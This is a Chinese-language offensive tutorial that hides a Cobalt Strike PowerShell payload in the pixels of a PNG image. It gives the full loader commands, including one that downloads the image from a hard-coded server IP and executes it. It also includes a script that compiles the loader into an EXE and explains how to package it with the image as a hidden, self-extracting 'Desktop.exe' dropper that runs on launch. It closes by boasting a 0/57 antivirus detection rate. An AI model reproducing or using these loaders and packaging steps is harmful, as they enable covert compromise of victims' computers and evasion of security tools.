免殺|利用RGB隱寫隱藏Shellcode
前言本篇文章將演示利用隱寫術將 Shellcode 隱寫入 PNG 圖片 RGB 像素中,從而隱藏后門代碼,并進行遠程加載控制目標主機。
實戰演示需要使用 Invoke-PSImage 工具:
?項目地址:https://github.com/peewpw/Invoke-PSImage
首先使用 Cobalt Strike 生成 Powershell 類型(.ps1)的
image-20210921133427498
然后將剛才生成的 payload.ps1 文件放在 Invoke-PSImage 項目內,再準備一張圖片用于生成一張帶有 Shellcode 的圖片,二者與 Invoke-PSImage.ps1 文件在同一目錄:
image-2021092116235638
遠程加載
執行以下命令即可生成一個帶有 Shellcode 的圖片 shell.png:
# 設置執行策略 Set-ExecutionPolicy Unrestricted -Scope CurrentUser # 導入 Invoke-PSimage.ps1 文件 Import-Module .\Invoke-PSimage.ps1 # 生成帶有 Shellcode 的圖片 Invoke-PSImage -Script .\payload.ps1 -Image .\origin.jpg -Out .\shell.png -Web
image-20210921162516197
執行之后得到一串代碼:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/shell.png"));$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
并且會得到帶有 Shellcode 的圖片 shell.png:
image-20210921162640820
接著,我們在自己的 VPS 上開啟一個 Web 服務,用于托管得到的 shell.png:
image-20210921135950506
然后將上面得到的代碼中的 http://example.com/shell.png 改為我們自己的 Web 服務地址:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://47.101.57.72/shell.png"));$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
在目標主機上執行這段代碼后目標機成功上線:
image-20210921163837141
我們還可以將上面那段加載的命令編譯生成可執行文件,這里我們直接使用網上找的腳本進行編譯:
?Convert-PS1ToExe.ps1
function Convert-PS1ToExe
{
param(
[Parameter(Mandatory=$true)]
[ValidateScript({$true})]
[ValidateNotNullOrEmpty()]
[IO.FileInfo]$ScriptFile
)
if( -not $ScriptFile.Exists)
{
Write-Warning "$ScriptFile not exits."
return
}
[string]$csharpCode = @'
using System;
using System.IO;
using System.Reflection;
using System.Diagnostics;
namespace LoadXmlTestConsole
{
public class ConsoleWriter
{
private static void Proc_OutputDataReceived(object sender, System.Diagnostics.DataReceivedEventArgs e)
{
Process pro = sender as Process;
Console.WriteLine(e.Data);
}
static void Main(string[] args)
{
// Set title of console
Console.Title = "Powered by PSTips.Net";
// read script from resource
Assembly ase = Assembly.GetExecutingAssembly();
string scriptName = ase.GetManifestResourceNames()[0];
string scriptContent = string.Empty;
using (Stream stream = ase.GetManifestResourceStream(scriptName))
using (StreamReader reader = new StreamReader(stream))
{
scriptContent = reader.ReadToEnd();
}
string scriptFile = Environment.ExpandEnvironmentVariables(string.Format("%temp%\\{0}", scriptName));
try
{
// output script file to temp path
File.WriteAllText(scriptFile, scriptContent);
ProcessStartInfo proInfo = new ProcessStartInfo();
proInfo.FileName = "PowerShell.exe";
proInfo.CreateNoWindow = true;
proInfo.RedirectStandardOutput = true;
proInfo.UseShellExecute = false;
proInfo.Arguments = string.Format(" -File {0}",scriptFile);
var proc = Process.Start(proInfo);
proc.OutputDataReceived += Proc_OutputDataReceived;
proc.BeginOutputReadLine();
proc.WaitForExit();
Console.WriteLine("Hit any key to continue...");
Console.ReadKey();
}
catch (Exception ex)
{
Console.WriteLine("Hit Exception: {0}", ex.Message);
}
finally
{
// delete temp file
if (File.Exists(scriptFile))
{
File.Delete(scriptFile);
}
}
}
}
}
'@
# $providerDict
$providerDict = New-Object 'System.Collections.Generic.Dictionary[[string],[string]]'
$providerDict.Add('CompilerVersion','v4.0')
$codeCompiler = [Microsoft.CSharp.CSharpCodeProvider]$providerDict
# Create the optional compiler parameters
$compilerParameters = New-Object 'System.CodeDom.Compiler.CompilerParameters'
$compilerParameters.GenerateExecutable = $true
$compilerParameters.GenerateInMemory = $true
$compilerParameters.WarningLevel = 3
$compilerParameters.TreatWarningsAsErrors = $false
$compilerParameters.CompilerOptions = '/optimize'
$outputExe = Join-Path $ScriptFile.Directory "$($ScriptFile.BaseName).exe"
$compilerParameters.OutputAssembly = $outputExe
$compilerParameters.EmbeddedResources.Add($ScriptFile.FullName) > $null
$compilerParameters.ReferencedAssemblies.Add( [System.Diagnostics.Process].Assembly.Location ) > $null
# Compile Assembly
$compilerResult = $codeCompiler.CompileAssemblyFromSource($compilerParameters,$csharpCode)
# Print compiler errors
if($compilerResult.Errors.HasErrors)
{
Write-Host 'Compile faield. See error message as below:' -ForegroundColor Red
$compilerResult.Errors | foreach {
Write-Warning ('{0},[{1},{2}],{3}' -f $_.ErrorNumber,$_.Line,$_.Column,$_.ErrorText )
}
}
else
{
Write-Host 'Compile succeed.' -ForegroundColor Green
"Output executable file to '$outputExe'"
}
}
首先將那段用于加載 Shellcode 的命令寫入文件 Loader.ps1 中:

然后執行以下命令,使用 Convert-PS1ToExe.ps1 將 Loader.ps1 編譯成 EXE:
Import-Module .\Convert-PS1ToExe.ps1 Convert-PS1ToExe -ScriptFile .\Loader.ps1

將生成的 exe.jpg 上傳到目標主機并執行:
image-20210921172516131
如上圖所示,目標機成功上線。美中不足的是有個彈窗。
使用遠程加載固然方便,但是由于生成的圖片非常大,遠程加載所耗的時間較長,所以我們可以盡可能的本地加載。
本地加載
執行以下命令即可生成一個帶有 Shellcode 的圖片 shell.png:
# 設置執行策略 Set-ExecutionPolicy Unrestricted -Scope CurrentUser # 導入 Invoke-PSimage.ps1 文件 Import-Module .\Invoke-PSimage.ps1 # 生成帶有 Shellcode 的圖片 Invoke-PSImage -Script .\payload.ps1 -Image .\origin.jpg -Out .\shell.png
image-20210921164514521
如上圖所示,生成了包含 Shellcode 的圖片 shell.png 與加載 Shellcode 使用的代碼:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap(".\shell.png");$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
執行上面的命令,在本地加載圖片里的 Shellcode:

如上圖所示,成功上線。
下面,我們將這種本地加載中的加載命令也用之前的方式編譯成可執行文件:


此時執行 Loader.exe 便可以加載 shell.png 中的 Shellcode,但二者必須在同一目錄下。為了方便,我們還需要完善一下。
這里我們參考使用 WinRAR 自解壓捆綁木馬的思路,將 shell.png 和 Loader.exe 壓縮在一起,并設置成自解壓格式,那么當用戶運行時,二者便會被解壓到相同的目錄并自動執行 Loader.exe。
首先,選中這兩個文件,鼠標右鍵,將這兩個文件添加到壓縮文件。點擊 “創建自解壓格式壓縮文件”,此時rar就會變成 exe 后綴的文件:


然后點擊“高級”—>“自解壓文件選項”—>“常規”:

設置解壓后文件的存儲路徑為 C:\WINDOWS\Temp:

然后,進入“安裝”(有的版本也叫“設置”),填入解壓完成后需要執行的程序:

然后,進入“模式”,選擇模式為“全部隱藏”:

然后,進入“更新”,將更新方式設置為“解壓并更新文件”,覆蓋方式設置為“覆蓋所有文件”:

最后點擊確定,即可生成一個 Desktop.exe 的文件:
image-20210921175013158
運行 Desktop.exe 即可成功上線:
image-20210921175436599
免殺測試將生成的 shell.png 扔到 virustotal 上面去測試,查殺率為 0/57:
